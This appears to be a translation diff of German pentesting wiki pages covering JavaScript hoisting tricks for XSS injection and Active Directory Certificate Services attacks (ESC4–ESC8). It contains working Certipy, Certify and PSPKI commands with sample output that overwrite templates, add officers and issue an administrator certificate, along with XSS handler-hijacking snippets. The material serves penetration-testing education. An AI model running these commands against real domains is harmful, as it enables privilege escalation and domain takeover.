gehoben werden, bevor der Code ausgeführt wird. Dieser Prozess wird automatisch von der JavaScript engine durchgeführt, die das Script in mehreren Durchläufen verarbeitet. -Während des ersten Durchlaufs parst die Engine den Code, prüft auf Syntaxfehler und wandelt ihn in einen abstract syntax tree um. Diese Phase beinhaltet Hoisting, also das Verschieben bestimmter Deklarationen an den Anfang des Ausführungskontexts. Wenn die Parsing-Phase erfolgreich ist und keine Syntaxfehler aufgetreten sind, wird das Script ausgeführt. +Während des ersten Durchlaufs parsed die engine den Code, prüft auf Syntaxfehler und wandelt ihn in einen abstrakten Syntaxbaum um. Diese Phase umfasst Hoisting, einen Prozess, bei dem bestimmte Deklarationen an den Anfang des Execution Contexts verschoben werden. Wenn die Parse-Phase erfolgreich ist und keine Syntaxfehler vorliegen, setzt die Script-Ausführung ein. Wichtig zu verstehen ist: 1. Das Script muss frei von Syntaxfehlern sein, damit eine Ausführung stattfinden kann. Syntaxregeln müssen strikt eingehalten werden. -2. Die Platzierung von Code innerhalb des Scripts beeinflusst die Ausführung aufgrund von Hoisting, obwohl der ausgeführte Code von seiner textuellen Darstellung abweichen kann. +2. Die Platzierung von Code innerhalb des Scripts beeinflusst die Ausführung durch Hoisting, auch wenn der tatsächlich ausgeführte Code von seiner textuellen Darstellung abweichen kann. -#### Arten von Hoisting +#### Types of Hoisting Basierend auf Informationen von MDN gibt es in JavaScript vier verschiedene Arten von Hoisting: -1. **Value Hoisting**: Erlaubt die Verwendung des Werts einer Variablen innerhalb ihres Scopes vor der Zeile, in der sie deklariert wird. -2. **Declaration Hoisting**: Ermöglicht, innerhalb eines Scopes auf eine Variable zu verweisen, bevor sie deklariert wurde, ohne dass ein `ReferenceError` geworfen wird — der Wert der Variablen ist dann jedoch `undefined`. -3. Diese Art verändert das Verhalten innerhalb ihres Scopes, weil die Variable vor ihrer eigentlichen Deklarationszeile deklariert wird. -4. Die Seiteneffekte der Deklaration treten auf, bevor der restliche Code, der sie enthält, evaluiert wird. +1. **Value Hoisting**: Ermöglicht die Nutzung des Wertes einer Variable innerhalb ihres Scopes vor ihrer Deklarationszeile. +2. **Declaration Hoisting**: Erlaubt das Referenzieren einer Variable innerhalb ihres Scopes vor ihrer Deklaration, ohne einen `ReferenceError` auszulösen; der Wert der Variable ist jedoch `undefined`. +3. Diese Art verändert das Verhalten innerhalb ihres Scopes, da die Deklaration der Variable vor ihrer tatsächlichen Deklarationszeile liegt. +4. Die Seiteneffekte der Deklaration treten ein, bevor der restliche Code, der sie enthält, ausgewertet wird. -Im Detail zeigen Funktionsdeklarationen das Verhalten von Typ 1 Hoisting. Das Schlüsselwort `var` demonstriert Verhalten vom Typ 2. Lexikalische Deklarationen, zu denen `let`, `const` und `class` gehören, zeigen Verhalten vom Typ 3. Schließlich sind `import`-Anweisungen insofern einzigartig, als sie sowohl Typ-1- als auch Typ-4-Verhalten beim Hoisting aufweisen. +Im Detail zeigen function declarations das Verhalten von Type 1 Hoisting. Das Schlüsselwort `var` zeigt Type 2 Verhalten. Lexical declarations, zu denen `let`, `const` und `class` gehören, zeigen Type 3 Verhalten. Schließlich sind `import`-Statements insofern einzigartig, als sie sowohl Type 1 als auch Type 4 Verhalten aufweisen. -## Szenarien +## Scenarios -Daher, wenn du Szenarien hast, in denen du **Inject JS code after an undeclared object** ausführen kannst, könntest du die Syntax beheben, indem du es deklarierst (sodass dein Code ausgeführt wird, anstatt einen Fehler zu erzeugen): +Daher, wenn Sie Szenarien haben, in denen Sie **Inject JS code after an undeclared object** verwenden können, könnten Sie **fix the syntax** by declaring it (so your code gets executed instead of throwing an error): ```javascript // The function vulnerableFunction is not defined vulnerableFunction('test', ''); @@ -129,9 +129,9 @@ alert(1) - } trigger() ``` -### Verhindere spätere Deklarationen, indem du einen Namen mit const sperrst +### Spätere Deklarationen vorwegnehmen, indem man einen Namen mit const sperrt -Wenn du Code ausführen kannst, bevor eine top-level `function foo(){...}` geparst wird, verhindert die Deklaration einer lexikalischen Bindung mit demselben Namen (z. B. `const foo = ...`), dass die spätere Funktionsdeklaration diesen Bezeichner neu bindet. Dies lässt sich in RXSS ausnutzen, um kritische Handler, die später auf der Seite definiert werden, zu kapern: +Wenn du Code ausführen kannst, bevor eine auf oberster Ebene stehende `function foo(){...}` geparst wird, verhindert das Deklarieren einer lexikalischen Bindung mit demselben Namen (z. B. `const foo = ...`), dass die spätere `function`-Deklaration diesen Bezeichner neu bindet. Dies kann in RXSS ausgenutzt werden, um kritische Handler zu kapern, die später auf der Seite definiert werden: ```javascript // Malicious code runs first (e.g., earlier inline
-ESC4 ist, wenn ein Benutzer Schreibrechte für eine Zertifikatvorlage hat. Dies kann beispielsweise missbraucht werden, um die Konfiguration der Zertifikatvorlage zu überschreiben und die Vorlage gegenüber ESC1 verwundbar zu machen. +ESC4 ist, wenn ein Benutzer Schreibrechte für eine Zertifikatvorlage hat. Dies kann z. B. missbraucht werden, um die Konfiguration der Zertifikatvorlage zu überschreiben und die Vorlage für ESC1 angreifbar zu machen. -Wie wir im obigen Pfad sehen können, hat nur `JOHNPC` diese Rechte, aber unser Benutzer `JOHN` hat die neue `AddKeyCredentialLink` edge zu `JOHNPC`. Da diese Technik mit Zertifikaten zusammenhängt, habe ich diesen Angriff ebenfalls implementiert, der als [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) bekannt ist. Hier ein kleiner Vorgeschmack auf Certipy’s `shadow auto`-Befehl, um den NT hash des Opfers zu erhalten. +Wie wir im obigen Pfad sehen, hat nur `JOHNPC` diese Privilegien, aber unser Benutzer `JOHN` hat die neue `AddKeyCredentialLink`-Kante zu `JOHNPC`. Da diese Technik mit Zertifikaten zusammenhängt, habe ich diesen Angriff ebenfalls implementiert, der als [Shadow Credentials](https://posts.specterops.io/shadow-credentials-abusing-key-trust-account-mapping-for-takeover-8ee1a53566ab) bekannt ist. Hier ein kleiner Einblick in Certipy’s `shadow auto`-Befehl, um den NT-Hash des Opfers abzurufen. ```bash certipy shadow auto 'corp.local/john:Passw0rd!@dc.corp.local' -account 'johnpc' ``` -**Certipy** kann die Konfiguration einer Zertifikatvorlage mit einem einzigen Befehl überschreiben. Standardmäßig wird Certipy die Konfiguration **überschreiben**, um sie **anfällig für ESC1** zu machen. Wir können auch den **`-save-old` Parameter zum Speichern der alten Konfiguration** angeben, was nützlich für das **Wiederherstellen** der Konfiguration nach unserem Angriff ist. +**Certipy** kann die Konfiguration einer Zertifikatvorlage mit einem einzigen Befehl überschreiben. Standardmäßig wird Certipy die Konfiguration so **überschreiben**, dass sie **vulnerable to ESC1** ist. Wir können außerdem den **`-save-old` Parameter zum Speichern der alten Konfiguration** angeben, was nützlich ist, um die Konfiguration nach unserem Angriff **wiederherzustellen**. ```bash # Make template vuln to ESC1 certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -save-old @@ -177,25 +177,25 @@ certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target # Restore config certipy template -username john@corp.local -password Passw0rd -template ESC4-Test -configuration ESC4-Test.json ``` -## Verwundbare PKI-Objektzugriffskontrolle - ESC5 +## Verwundbare PKI-Objekt-Zugriffssteuerung - ESC5 ### Erläuterung -Das umfangreiche Netz miteinander verbundener, ACL-basierter Beziehungen, das mehrere Objekte über Certificate Templates und die Certificate Authority hinaus einschließt, kann die Sicherheit des gesamten AD CS-Systems beeinflussen. Diese Objekte, die die Sicherheit erheblich beeinträchtigen können, umfassen: +Das umfangreiche Netz aus miteinander verbundenen, auf ACL basierenden Beziehungen, das mehrere Objekte über Zertifikatvorlagen und die Zertifizierungsstelle hinaus umfasst, kann die Sicherheit des gesamten AD CS-Systems beeinträchtigen. Zu diesen sicherheitsrelevanten Objekten gehören: - Das AD-Computerobjekt des CA-Servers, das durch Mechanismen wie S4U2Self oder S4U2Proxy kompromittiert werden kann. -- Den RPC/DCOM-Server des CA-Servers. -- Jedes nachgeordnete AD-Objekt oder Container innerhalb des spezifischen Containerpfads `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`. Dieser Pfad umfasst unter anderem Container und Objekte wie den Certificate Templates container, den Certification Authorities container, das NTAuthCertificates-Objekt und den Enrollment Services Container. +- Der RPC/DCOM-Server des CA-Servers. +- Jedes nachgeordnete AD-Objekt oder Container innerhalb des speziellen Containerpfads `CN=Public Key Services,CN=Services,CN=Configuration,DC=,DC=`. Dieser Pfad umfasst u. a. Container und Objekte wie den Certificate Templates container, den Certification Authorities container, das NTAuthCertificates-Objekt und den Enrollment Services Container. -Die Sicherheit des PKI-Systems kann gefährdet sein, wenn ein gering privilegierter Angreifer Kontrolle über eine dieser kritischen Komponenten erlangt. +Die Sicherheit des PKI-Systems kann beeinträchtigt werden, wenn ein niedrig privilegierter Angreifer Kontrolle über eines dieser kritischen Komponenten erlangt. ## EDITF_ATTRIBUTESUBJECTALTNAME2 - ESC6 ### Erläuterung -Der in dem [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) behandelte Sachverhalt geht auch auf die Auswirkungen des **`EDITF_ATTRIBUTESUBJECTALTNAME2`**-Flags ein, wie Microsoft sie beschreibt. Diese Konfiguration erlaubt es einer Certification Authority (CA), benutzerdefinierte Werte in den **subject alternative name** für **jede Anfrage** aufzunehmen, einschließlich solcher, die aus Active Directory® erstellt werden. Folglich kann ein **Angreifer** sich über **jedes Template** anmelden, das für die Domänen**authentifizierung** konfiguriert ist — insbesondere solche, die die Anmeldung durch **nicht privilegierte** Benutzer zulassen, wie das Standard-User-Template. Dadurch kann ein Zertifikat erlangt werden, das dem Angreifer erlaubt, sich als Domain-Administrator oder als **jede andere aktive Entität** innerhalb der Domäne zu authentifizieren. +Der in der [**CQure Academy post**](https://cqureacademy.com/blog/enhanced-key-usage) behandelte Beitrag geht auch auf die Auswirkungen des Flags **`EDITF_ATTRIBUTESUBJECTALTNAME2`** ein, wie sie von Microsoft beschrieben werden. Wenn diese Konfiguration auf einer Certification Authority (CA) aktiviert ist, erlaubt sie die Einfügung von benutzerdefinierten Werten in das subject alternative name für jede Anfrage, einschließlich solcher, die aus Active Directory® erstellt wurden. Folglich ermöglicht diese Einstellung einem Angreifer die Registrierung über jede für die Domänenauthentifizierung eingerichtete Vorlage — insbesondere solche, die weniger privilegierten Benutzern zur Registrierung offenstehen, wie die Standard-User-Vorlage. Dadurch kann ein Zertifikat erlangt werden, das dem Angreifer die Authentifizierung als Domänenadministrator oder jede andere aktive Entität innerhalb der Domäne ermöglicht. -**Hinweis**: Der Ansatz, **alternative names** in eine Certificate Signing Request (CSR) einzufügen, über das `-attrib "SAN:"`-Argument in `certreq.exe` (als „Name-Wert-Paare“ bezeichnet), unterscheidet sich von der Ausnutzungsstrategie von SANs in ESC1. Der Unterschied liegt hier darin, **wie Kontoinformationen gekapselt werden** — in einem Zertifikat-Attribut statt in einer Extension. +**Hinweis**: Der Ansatz, alternative Namen in eine Certificate Signing Request (CSR) einzufügen — über das Argument `-attrib "SAN:"` in `certreq.exe` (als “Name Value Pairs” bezeichnet) — unterscheidet sich von der Ausnutzungsstrategie von SANs in ESC1. Der Unterschied besteht hier darin, wie Kontoinformationen eingebettet werden: in einem Zertifikatattribut statt in einer Erweiterung. ### Missbrauch @@ -207,7 +207,7 @@ Diese Operation verwendet im Wesentlichen **remote registry access**, daher kön ```bash reg.exe query \\\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\CertSvc\Configuration\\PolicyModules\CertificateAuthority_MicrosoftDefault.Policy\ /v EditFlags ``` -Tools wie [**Certify**](https://github.com/GhostPack/Certify) und [**Certipy**](https://github.com/ly4k/Certipy) sind in der Lage, diese Fehlkonfiguration zu erkennen und auszunutzen: +Tools wie [**Certify**](https://github.com/GhostPack/Certify) und [**Certipy**](https://github.com/ly4k/Certipy) können diese Fehlkonfiguration erkennen und ausnutzen: ```bash # Detect vulnerabilities, including this one Certify.exe find @@ -216,37 +216,37 @@ Certify.exe find Certify.exe request /ca:dc.domain.local\theshire-DC-CA /template:User /altname:localadmin certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template User -upn administrator@corp.local ``` -Um diese Einstellungen zu ändern — vorausgesetzt, man besitzt **Domänen-Administratorrechte** oder ein gleichwertiges Recht — kann der folgende Befehl von jeder Workstation ausgeführt werden: +Um diese Einstellungen zu ändern, vorausgesetzt man verfügt über **Domain-Administratorrechte** oder gleichwertige Berechtigungen, kann der folgende Befehl von jedem Arbeitsplatz aus ausgeführt werden: ```bash certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags +EDITF_ATTRIBUTESUBJECTALTNAME2 ``` -Um diese Konfiguration in Ihrer Umgebung zu deaktivieren, kann das flag wie folgt entfernt werden: +Um diese Konfiguration in Ihrer Umgebung zu deaktivieren, kann das flag mit folgendem Befehl entfernt werden: ```bash certutil -config "CA_HOST\CA_NAME" -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 ``` > [!WARNING] -> Nach den Security-Updates vom Mai 2022 enthalten neu ausgestellte **Zertifikate** eine **Sicherheitserweiterung**, die die **`objectSid`-Eigenschaft des Antragstellers** einbindet. Bei ESC1 wird diese SID aus dem angegebenen SAN abgeleitet. Bei **ESC6** hingegen spiegelt die SID die **`objectSid` des Antragstellers** wider, nicht das SAN.\ -> Um ESC6 auszunutzen, muss das System für ESC10 (Weak Certificate Mappings) anfällig sein, das die **SAN über die neue Sicherheitserweiterung** priorisiert. +> Nach den Sicherheitsupdates vom Mai 2022 werden neu ausgestellte **certificates** eine **security extension** enthalten, die die **`objectSid`-Eigenschaft des Anfordernden** einbindet. Für ESC1 wird diese SID aus dem angegebenen SAN abgeleitet. Bei **ESC6** entspricht die SID jedoch der **`objectSid` des Anfordernden**, nicht dem SAN.\ +> Um ESC6 auszunutzen, muss das System für ESC10 (Weak Certificate Mappings) anfällig sein, welches das **SAN gegenüber der neuen security extension** bevorzugt. -## Verwundbare Zugriffskontrolle der Zertifizierungsstelle - ESC7 +## Vulnerable Certificate Authority Access Control - ESC7 -### Angriff 1 +### Attack 1 -#### Erklärung +#### Explanation -Die Zugriffskontrolle für eine Zertifizierungsstelle wird durch eine Reihe von Berechtigungen geregelt, die CA-Aktionen steuern. Diese Berechtigungen können eingesehen werden, indem man `certsrv.msc` öffnet, mit der rechten Maustaste auf eine CA klickt, Eigenschaften wählt und dann zur Registerkarte Sicherheit navigiert. Zusätzlich können Berechtigungen mit dem PSPKI-Modul anhand von Befehlen wie folgt aufgelistet werden: +Die Zugriffskontrolle für eine Zertifizierungsstelle wird durch eine Reihe von Berechtigungen verwaltet, die CA-Aktionen steuern. Diese Berechtigungen können angezeigt werden, indem man `certsrv.msc` öffnet, mit der rechten Maustaste auf eine CA klickt, Properties wählt und dann zur Registerkarte Security navigiert. Zusätzlich können Berechtigungen mit dem PSPKI-Modul aufgelistet werden, z. B. mit Befehlen wie: ```bash Get-CertificationAuthority -ComputerName dc.domain.local | Get-CertificationAuthorityAcl | select -expand Access ``` -Dies liefert Einblicke in die primären Rechte, nämlich **`ManageCA`** und **`ManageCertificates`**, die jeweils den Rollen „CA-Administrator“ und „Zertifikatsmanager“ entsprechen. +Dies bietet Einblicke in die primären Rechte, nämlich **`ManageCA`** und **`ManageCertificates`**, die jeweils den Rollen „CA-Administrator“ und „Zertifikatsmanager“ entsprechen. -#### Missbrauch +#### Abuse -Das Besitzen von **`ManageCA`**-Rechten auf einer Certificate Authority ermöglicht dem Principal, Einstellungen remote mit PSPKI zu manipulieren. Dazu gehört das Umschalten des Flags **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, um die Angabe von SAN in beliebigen Templates zu erlauben — ein kritischer Aspekt bei der Domain-Eskalation. +Das Vorhandensein von **`ManageCA`**-Rechten auf einer Certificate Authority ermöglicht es dem Principal, Einstellungen remote mit PSPKI zu manipulieren. Dazu gehört das Umschalten des Flags **`EDITF_ATTRIBUTESUBJECTALTNAME2`**, um die Angabe von SAN in beliebigen Templates zu erlauben — ein kritischer Aspekt bei Domäneneskalation. -Die Vereinfachung dieses Prozesses ist mittels PSPKI’s **Enable-PolicyModuleFlag** cmdlet möglich, wodurch Änderungen ohne direkte GUI-Interaktion vorgenommen werden können. +Die Vereinfachung dieses Prozesses ist durch das PSPKI-cmdlet **Enable-PolicyModuleFlag** möglich, wodurch Änderungen ohne direkte GUI-Interaktion vorgenommen werden können. -Der Besitz von **`ManageCertificates`**-Rechten ermöglicht die Genehmigung ausstehender Anfragen und umgeht damit effektiv die "CA certificate manager approval"-Sicherung. +Der Besitz von **`ManageCertificates`**-Rechten erleichtert die Genehmigung ausstehender Anfragen und umgeht damit effektiv die Schutzmaßnahme "CA certificate manager approval". Eine Kombination der Module **Certify** und **PSPKI** kann verwendet werden, um ein Zertifikat anzufordern, zu genehmigen und herunterzuladen: ```bash @@ -264,33 +264,33 @@ Get-CertificationAuthority -ComputerName dc.domain.local | Get-PendingRequest -R # Download the certificate Certify.exe download /ca:dc.domain.local\theshire-DC-CA /id:336 ``` -### Angriff 2 +### Attack 2 #### Erklärung > [!WARNING] -> Im **vorherigen Angriff** wurden **`Manage CA`**-Berechtigungen verwendet, um das **EDITF_ATTRIBUTESUBJECTALTNAME2**-Flag zu **aktivieren**, um die **ESC6 attack** auszuführen, aber dies hat keine Wirkung, bis der CA-Dienst (`CertSvc`) neu gestartet wird. Wenn ein Benutzer das Zugriffsrecht `Manage CA` hat, darf der Benutzer außerdem den **Dienst neu starten**. Das bedeutet jedoch **nicht, dass der Benutzer den Dienst remote neu starten kann**. Außerdem könnte **ESC6** in den meisten gepatchten Umgebungen aufgrund der Sicherheitsupdates vom Mai 2022 **nicht ohne Weiteres funktionieren**. +> In der **previous attack** **`Manage CA`** permissions wurden verwendet, um die **EDITF_ATTRIBUTESUBJECTALTNAME2** Flagge zu **aktivieren**, um die **ESC6 attack** durchzuführen, aber dies hat keine Wirkung, bis der CA-Dienst (`CertSvc`) neu gestartet wird. Wenn ein Benutzer das Zugriffsrecht `Manage CA` hat, darf er auch den **Dienst neu starten**. Das bedeutet jedoch nicht, dass der Benutzer den Dienst aus der Ferne neu starten kann. Außerdem **ESC6 funktioniert möglicherweise nicht sofort** in den meisten gepatchten Umgebungen aufgrund der Sicherheitsupdates vom Mai 2022. -Daher wird hier ein anderer Angriff vorgestellt. +Daher wird hier eine weitere attack vorgestellt. Voraussetzungen: -- Nur die **`ManageCA`**-Berechtigung -- Die **`Manage Certificates`**-Berechtigung (kann von **`ManageCA`** gewährt werden) -- Das Zertifikat-Template **`SubCA`** muss **aktiviert** sein (kann über **`ManageCA`** aktiviert werden) +- Nur **`ManageCA`** Berechtigung +- **`Manage Certificates`** Berechtigung (kann von **`ManageCA`** gewährt werden) +- Das Zertifikat-Template **`SubCA`** muss **aktiviert** sein (kann von **`ManageCA`** aktiviert werden) -Die Technik beruht auf der Tatsache, dass Benutzer mit den Zugriffsrechten `Manage CA` _und_ `Manage Certificates` fehlgeschlagene Zertifikatsanfragen **ausstellen** können. Das Zertifikat-Template **`SubCA`** ist **anfällig für ESC1**, aber **nur Administratoren** können sich für das Template anmelden. Daher kann ein **Benutzer** eine **Anmeldung** zur **`SubCA`** **anfordern** — diese wird **abgelehnt** — aber anschließend vom Manager **ausgestellt** werden. +Die Technik beruht auf der Tatsache, dass Benutzer mit dem Zugriffsrecht `Manage CA` _und_ `Manage Certificates` fehlgeschlagene Zertifikatsanforderungen **ausstellen** können. Das Zertifikat-Template **`SubCA`** ist **anfällig für ESC1**, aber **nur Administratoren** können sich für das Template einschreiben. Daher kann ein **Benutzer** die Einschreibung in die **`SubCA`** **beantragen** – diese wird **abgelehnt** – aber anschließend vom Manager **ausgestellt**. #### Missbrauch -Sie können sich selbst das Zugriffsrecht **`Manage Certificates`** gewähren, indem Sie Ihren Benutzer als neuen Officer hinzufügen. +Du kannst dir das Zugriffsrecht **`Manage Certificates`** selbst geben, indem du deinen Benutzer als neuen officer hinzufügst. ```bash certipy ca -ca 'corp-DC-CA' -add-officer john -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully added officer 'John' on 'corp-DC-CA' ``` -Die **`SubCA`**-Vorlage kann auf der CA mit dem Parameter `-enable-template` aktiviert werden. Standardmäßig ist die **`SubCA`**-Vorlage aktiviert. +Die **`SubCA`**-Vorlage kann mit dem Parameter `-enable-template` **auf der CA aktiviert** werden. Standardmäßig ist die **`SubCA`**-Vorlage aktiviert. ```bash # List templates certipy ca -username john@corp.local -password Passw0rd! -target-ip ca.corp.local -ca 'corp-CA' -enable-template 'SubCA' @@ -302,9 +302,9 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully enabled 'SubCA' on 'corp-DC-CA' ``` -Wenn wir die Voraussetzungen für diesen Angriff erfüllt haben, können wir damit beginnen, **ein Zertifikat anzufordern, das auf der `SubCA`-Vorlage basiert**. +Wenn wir die Voraussetzungen für diesen Angriff erfüllt haben, können wir damit beginnen, **ein Zertifikat basierend auf der `SubCA`-Vorlage anzufordern**. -**Diese Anfrage wird abgelehnt**, aber wir speichern den privaten Schlüssel und notieren uns die Request-ID. +**Diese Anfrage wird abgelehnt**, aber wir speichern den private key und notieren die request ID. ```bash certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -template SubCA -upn administrator@corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -316,14 +316,14 @@ Would you like to save the private key? (y/N) y [*] Saved private key to 785.key [-] Failed to request certificate ``` -Mit unseren **`Manage CA` und `Manage Certificates`** können wir dann **die fehlgeschlagene Zertifikatsanforderung ausstellen**, mit dem Befehl `ca` und dem Parameter `-issue-request `. +Mit unseren **`Manage CA` und `Manage Certificates`**-Rechten können wir dann mit dem `ca`-Befehl und dem Parameter `-issue-request ` **die fehlgeschlagene Zertifikatsanforderung ausstellen**. ```bash certipy ca -ca 'corp-DC-CA' -issue-request 785 -username john@corp.local -password Passw0rd Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Successfully issued certificate ``` -Und schließlich können wir mit dem `req`-Befehl und dem Parameter `-retrieve ` **das ausgestellte Zertifikat abrufen**. +Und schließlich können wir mit dem `req`-Befehl und dem Parameter `-retrieve ` das **ausgestellte Zertifikat abrufen**. ```bash certipy req -username john@corp.local -password Passw0rd -ca corp-DC-CA -target ca.corp.local -retrieve 785 Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -335,75 +335,77 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Loaded private key from '785.key' [*] Saved certificate and private key to 'administrator.pfx' ``` -### Angriff 3 – Manage Certificates Extension Abuse (SetExtension) +### Attack 3 – Manage Certificates Extension Abuse (SetExtension) -#### Erklärung +#### Explanation -Zusätzlich zu den klassischen ESC7-Abusen (Aktivieren von EDITF-Attributen oder Genehmigen ausstehender Anfragen) enthüllte **Certify 2.0** eine brandneue Primitive, die nur die *Manage Certificates* (a.k.a. **Certificate Manager / Officer**) Rolle auf der Enterprise CA erfordert. +In addition to the classic ESC7 abuses (enabling EDITF attributes or approving pending requests), **Certify 2.0** revealed a brand-new primitive that only requires the *Manage Certificates* (a.k.a. **Certificate Manager / Officer**) role on the Enterprise CA. -Die RPC-Methode `ICertAdmin::SetExtension` kann von jedem Principal ausgeführt werden, der *Manage Certificates* besitzt. Während die Methode traditionell von legitimen CAs verwendet wurde, um Erweiterungen an **ausstehenden** Anfragen zu aktualisieren, kann ein Angreifer sie missbrauchen, um eine **nicht-standardmäßige** Zertifikatserweiterung anzuhängen (zum Beispiel eine benutzerdefinierte *Certificate Issuance Policy* OID wie `1.1.1.1`) an eine Anfrage, die auf Genehmigung wartet. +The `ICertAdmin::SetExtension` RPC method can be executed by any principal holding *Manage Certificates*. While the method was traditionally used by legitimate CAs to update extensions on **pending** requests, an attacker can abuse it to **append a *non-default* certificate extension** (for example a custom *Certificate Issuance Policy* OID such as `1.1.1.1`) to a request that is waiting for approval. -Da die angezielte Vorlage **keinen Standardwert für diese Erweiterung definiert**, wird die CA den vom Angreifer kontrollierten Wert NICHT überschreiben, wenn die Anfrage schließlich ausgestellt wird. Das resultierende Zertifikat enthält daher eine vom Angreifer gewählte Erweiterung, die: +Because the targeted template does **not define a default value for that extension**, the CA will NOT overwrite the attacker-controlled value when the request is eventually issued. The resulting certificate therefore contains an attacker-chosen extension that may: -* Anforderungen an Application / Issuance Policy anderer verwundbarer Vorlagen erfüllen kann (was zu Privilegieneskalation führt). -* Zusätzliche EKUs oder Richtlinien injizieren kann, die dem Zertifikat unerwartetes Vertrauen in Drittanbietersystemen gewähren. +* Satisfy Application / Issuance Policy requirements of other vulnerable templates (leading to privilege escalation). +* Inject additional EKUs or policies that grant the certificate unexpected trust in third-party systems. -Kurz gesagt: *Manage Certificates* – zuvor als der „weniger mächtige“ Teil von ESC7 betrachtet – kann nun für vollständige Privilegieneskalation oder langfristige Persistenz genutzt werden, ohne die CA-Konfiguration zu verändern oder das restriktivere *Manage CA*-Recht zu benötigen. +In short, *Manage Certificates* – previously considered the “less powerful” half of ESC7 – can now be leveraged for full privilege escalation or long-term persistence, without touching CA configuration or requiring the more restrictive *Manage CA* right. -#### Missbrauch der Primitive mit Certify 2.0 +#### Abusing the primitive with Certify 2.0 -1. **Reiche eine Zertifikatsanfrage ein, die *ausstehend* bleibt.** Dies kann mit einer Vorlage erzwungen werden, die Manager-Genehmigung erfordert: +1. **Submit a certificate request that will remain *pending*.** This can be forced with a template that requires manager approval: ```powershell Certify.exe request --ca SERVER\\CA-NAME --template SecureUser --subject "CN=User" --manager-approval # Take note of the returned Request ID ``` -2. **Hänge eine benutzerdefinierte Erweiterung an die ausstehende Anfrage an** mit dem neuen `manage-ca`-Befehl: +2. **Append a custom extension to the pending request** using the new `manage-ca` command: ```powershell Certify.exe manage-ca --ca SERVER\\CA-NAME \ --request-id 1337 \ --set-extension "1.1.1.1=DER,10,01 01 00 00" # fake issuance-policy OID ``` -*Wenn die Vorlage die *Certificate Issuance Policies*-Erweiterung nicht bereits definiert, wird der obige Wert nach der Ausstellung erhalten bleiben.* +*Wenn die Vorlage die Erweiterung *Certificate Issuance Policies* nicht bereits definiert, wird der obige Wert nach der Ausstellung beibehalten.* -3. **Stelle die Anfrage aus** (wenn deine Rolle auch Genehmigungsrechte für *Manage Certificates* hat) oder warte, bis ein Operator sie genehmigt. Nach der Ausstellung lade das Zertifikat herunter: +3. **Issue the request** (if your role also has *Manage Certificates* approval rights) or wait for an operator to approve it. Once issued, download the certificate: ```powershell Certify.exe request-download --ca SERVER\\CA-NAME --id 1337 ``` -4. Das resultierende Zertifikat enthält nun die bösartige issuance-policy OID und kann in nachfolgenden Angriffen verwendet werden (z. B. ESC13, Domain-Eskalation usw.). +4. The resulting certificate now contains the malicious issuance-policy OID and can be used in subsequent attacks (e.g. ESC13, domain escalation, etc.). -> NOTE: Der gleiche Angriff kann mit Certipy ≥ 4.7 über den `ca`-Befehl und den Parameter `-set-extension` ausgeführt werden. +> NOTE: The same attack can be executed with Certipy ≥ 4.7 through the `ca` command and the `-set-extension` parameter. -## NTLM Relay zu AD CS HTTP-Endpunkten – ESC8 +## NTLM Relay to AD CS HTTP Endpoints – ESC8 -### Erklärung +### Explanation > [!TIP] -> In Umgebungen, in denen **AD CS installiert** ist, wenn ein verwundbarer **Web-Enrollment-Endpunkt** vorhanden ist und mindestens eine **certificate template** veröffentlicht ist, die **domain computer enrollment and client authentication** erlaubt (wie die Standard-**`Machine`**-Vorlage), kann **jeder Computer mit aktivem Spooler-Dienst von einem Angreifer kompromittiert werden**! +> In environments where **AD CS is installed**, if a **web enrollment endpoint vulnerable** exists and at least one **certificate template is published** that permits **domain computer enrollment and client authentication** (such as the default **`Machine`** template), it becomes possible for **any computer with the spooler service active to be compromised by an attacker**! -Mehrere HTTP-basierte Enrollment-Methoden werden von AD CS unterstützt und sind über zusätzliche Serverrollen verfügbar, die Administratoren installieren können. Diese Schnittstellen für HTTP-basiertes Certificate Enrollment sind anfällig für **NTLM relay attacks**. Ein Angreifer kann von einer kompromittierten Maschine aus jedes AD-Konto impersonifizieren, das sich über eingehendes NTLM authentifiziert. Während der Angreifer das Opferkonto impersonifiziert, kann er diese Webschnittstellen nutzen, um ein Client-Authentication-Zertifikat mithilfe der `User`- oder `Machine`-certificate templates anzufordern. +Several **HTTP-based enrollment methods** are supported by AD CS, made available through additional server roles that administrators may install. These interfaces for HTTP-based certificate enrollment are susceptible to **NTLM relay attacks**. An attacker, from a **compromised machine, can impersonate any AD account that authenticates via inbound NTLM**. While impersonating the victim account, these web interfaces can be accessed by an attacker to **request a client authentication certificate using the `User` or `Machine` certificate templates**. -- Die **web enrollment interface** (eine ältere ASP-Anwendung verfügbar unter `http:///certsrv/`) verwendet standardmäßig nur HTTP, was keinen Schutz gegen NTLM relay attacks bietet. Zusätzlich erlaubt sie explizit nur NTLM-Authentifizierung über ihren Authorization HTTP-Header, wodurch sicherere Authentifizierungsmethoden wie Kerberos unbrauchbar werden. -- Der **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service und **Network Device Enrollment Service** (NDES) unterstützen standardmäßig negotiate-Authentifizierung über ihren Authorization HTTP-Header. Negotiate-Authentifizierung **unterstützt sowohl** Kerberos als auch **NTLM**, wodurch ein Angreifer während Relay-Angriffen auf NTLM abwerten kann. Obwohl diese Webdienste standardmäßig HTTPS aktivieren, schützt HTTPS allein **nicht vor NTLM relay attacks**. Schutz vor NTLM-Relay-Angriffen für HTTPS-Dienste ist nur möglich, wenn HTTPS mit Channel Binding kombiniert wird. Leider aktiviert AD CS Extended Protection for Authentication in IIS nicht, welches für Channel Binding erforderlich ist. +- The **web 